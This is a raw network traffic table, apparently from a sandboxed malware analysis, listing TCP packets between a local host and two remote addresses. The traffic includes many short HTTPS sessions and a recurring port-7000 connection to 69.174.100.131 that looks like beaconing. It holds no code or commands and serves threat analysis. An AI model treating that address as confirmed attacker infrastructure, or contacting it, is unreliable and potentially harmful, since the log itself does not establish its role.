Dec 5, 2024 14:03:10.007425070 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.009660006 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.009799957 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.009814978 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.010463953 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.010523081 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.013650894 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.013683081 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.013698101 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.013710022 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.013716936 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.015604019 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.015638113 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.015712023 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.015856028 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.015872955 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.043266058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:10.083072901 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:10.203845024 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:10.677573919 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.678112030 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.678141117 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.678602934 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.678608894 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.112477064 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.115930080 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.115987062 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.116079092 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.116092920 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.116111994 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.116117954 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.127497911 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.127542973 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.127618074 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.128705978 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.128715038 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.336605072 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.338849068 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.338881969 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.340533018 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.340545893 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.723757982 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.724710941 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.724740028 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.725197077 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.725203037 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.725251913 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.725886106 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.725914001 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.726419926 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.726427078 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.731514931 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.732132912 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.732156038 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.732644081 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.732651949 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.776681900 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.776700974 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.776839018 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.776859999 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.776977062 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.777477980 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.777483940 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.777529001 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.777698994 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.777731895 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.777981997 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.789628029 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.789668083 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:11.790134907 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.792259932 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:11.792292118 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.170006037 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.170031071 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.173248053 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.177642107 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.177715063 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.177746058 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.177813053 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.177845955 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.185633898 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.197426081 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.197448969 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.197484016 CET	50021	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.197489977 CET	443	50021	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.199408054 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.199434996 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.199523926 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.199531078 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.204263926 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.204314947 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.204664946 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.205998898 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.206042051 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.206398010 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.206419945 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.206455946 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.206721067 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.206737041 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.207444906 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.207464933 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.207479954 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.207608938 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.207608938 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.207644939 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.209723949 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.358485937 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.358572960 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.358609915 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.360255957 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.360543966 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.360559940 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.360593081 CET	50020	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.360599995 CET	443	50020	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.380738974 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.380776882 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.381099939 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.381478071 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.381493092 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.852297068 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.856040001 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.856061935 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:12.856863022 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:12.856868029 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.212040901 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:13.329058886 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.329082012 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.329112053 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.329148054 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.329159021 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.329191923 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.329212904 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.332336903 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:13.511022091 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.511068106 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.511111021 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.511117935 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.511168957 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.522351980 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.522381067 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.522392035 CET	50022	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.522398949 CET	443	50022	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.528980017 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.529031038 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.529087067 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.530186892 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.530203104 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.567265034 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.568084955 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.568111897 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.568916082 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.568922043 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.934284925 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.934894085 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.935556889 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.935564041 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.935581923 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.935587883 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.936085939 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.936090946 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:13.936120987 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:13.936125994 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.010652065 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.010720968 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.010834932 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.010857105 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.011941910 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.012041092 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.012044907 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.012063980 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.012222052 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.012257099 CET	443	50023	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.012315989 CET	50023	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.015469074 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.015506029 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.015607119 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.015748024 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.015757084 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.092168093 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:14.117428064 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.118381023 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.118407965 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.118937016 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.118944883 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.274339914 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:14.368437052 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.371598005 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.371711016 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.372020960 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.372045040 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.372056007 CET	50025	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.372061968 CET	443	50025	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.374643087 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.374665976 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.374746084 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.374773979 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.375020981 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.375066996 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.375096083 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.375108957 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.375128031 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.375183105 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.375256062 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.375299931 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.375309944 CET	443	50024	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.375322104 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.375370026 CET	50024	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.377011061 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.377052069 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.377151012 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.377275944 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.377288103 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.552593946 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.552655935 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.552966118 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.553314924 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.553335905 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.553365946 CET	50026	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.553371906 CET	443	50026	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.556246996 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.556283951 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:14.556473970 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.556726933 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:14.556744099 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.253544092 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.294445992 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.294445992 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.294488907 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.294509888 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.690001011 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.693083048 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.693159103 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.732095003 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.843707085 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.843766928 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.843786955 CET	50027	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.843796015 CET	443	50027	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.848045111 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.848056078 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.848895073 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.848901033 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.861268997 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.861318111 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.861377954 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.861670017 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.861690044 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.931821108 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.951550007 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.951580048 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:15.952244043 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:15.952250004 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.128757000 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.129781961 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.129793882 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.130772114 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.130786896 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.171638966 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.175198078 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.175378084 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.175378084 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.175378084 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.178446054 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.178494930 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.178565979 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.178760052 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.178775072 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.290226936 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.290935993 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.290954113 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.291320086 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.291326046 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.366153955 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.369586945 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.369659901 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.369796038 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.369796038 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.369852066 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.369852066 CET	50029	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.369873047 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.369882107 CET	443	50029	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.563558102 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.563668966 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.563738108 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.564060926 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.564060926 CET	50030	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.564080000 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.564091921 CET	443	50030	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.571182013 CET	50028	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.571194887 CET	443	50028	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.724745035 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.728257895 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.731839895 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.732017994 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.732017994 CET	50031	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:16.732038021 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.732048035 CET	443	50031	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:16.896838903 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:17.016649008 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:17.581018925 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:17.581614017 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:17.581648111 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:17.582328081 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:17.582338095 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:17.986504078 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.002912998 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.002945900 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.003737926 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.003742933 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.015598059 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.019037008 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.019239902 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.019423962 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.019443989 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.019457102 CET	50032	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.019464016 CET	443	50032	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.421359062 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.421432018 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.421634912 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.471184969 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.471220970 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:18.471237898 CET	50033	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:18.471245050 CET	443	50033	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:21.963618040 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:22.083337069 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:22.360903025 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:22.480716944 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:22.483807087 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:22.604279041 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:23.132335901 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:23.252424955 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:25.014206886 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:25.134216070 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:25.407352924 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:25.527425051 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:31.395018101 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:31.514987946 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:33.157974005 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:33.278047085 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:35.572702885 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:35.692683935 CET	7000	49734	69.174.100.131	192.168.2.6
